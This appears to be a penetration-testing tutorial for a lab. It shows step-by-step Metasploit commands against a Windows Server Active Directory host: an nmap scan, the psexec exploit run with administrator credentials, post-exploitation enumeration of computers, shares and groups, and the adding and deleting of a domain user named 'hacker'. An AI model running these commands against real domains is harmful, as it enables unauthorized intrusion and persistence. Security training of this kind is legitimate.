Penetration Testing in Windows Server Active Directory using Metasploit (Part 1)

[hkgvcsdfwsdg]

Open Kali terminal type nmap -sV 192.168.0.104

you’ll see that port 445 is open, port 445 is a traditional Microsoft networking port. Specifically, TCP port 445 runs Server Message Block(SMB) over TCP/IP. This is a core means for communication on a Microsoft-based LAN

In Kali terminal type msfconsole

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set rhost 192.168.0.104

msf exploit(psexec) > set rport 445

msf exploit(psexec) > set smbuser administrator

msf exploit(psexec) > set smbpass Ignite@123

msf exploit(psexec) > exploit

Find All Active Directory users

This module will enumerate computers included in the primary Domain

msf > use post/windows/gather/enum_ad_computers

msf post(enum_ad_computers) > set filter objectCategory=computer

msf post(enum_ad_computers) > set session 1

msf post(enum_ad_computers) > exploit

Find All Share Folder in Active Directory

This module will enumerate configured and recently used file shares.

msf > post/windows/gather/enum_shares

msf post(enum_shares) > set session 1

msf post(enum_shares) > exploit

Gather All Groups in Active Directory

This module will enumerate Active Directory groups on the specified domain.

msf > use post/windows/gather/enum_ad_groups

msf post(enum_ad_groups) > set session 1

msf post(enum_ad_groups) > exploit

To Add Any User in Active Directory

This module adds a user to the Domain and/or to a Domain group. It will check if sufficient privileges are present for certain actions and run getprivs for system. If you elevated privs to system,the Se Assign Primary Token Privilege will not be assigned. You need to migrate to a process that is running as system. If you don’t have privs, this script exits.

msf > use post/windows/manage/add_user_domain

msf post(add_user_domain) > set addtodomain true

msf post(add_user_domain) > set username hacker

msf post(add_user_domain) > set password abcd@123

msf post(add_user_domain) > set session 1

msf post(add_user_domain) > exploit

To Delete Any User from Active Directory

This module deletes a local user account from the specified server, or the local machine if no server is given.

msf > use post/windows/manage/delete_user

msf post(delete_user) > set username hacker

msf post(delete_user) > set session 1

msf post(delete_user) > exploit
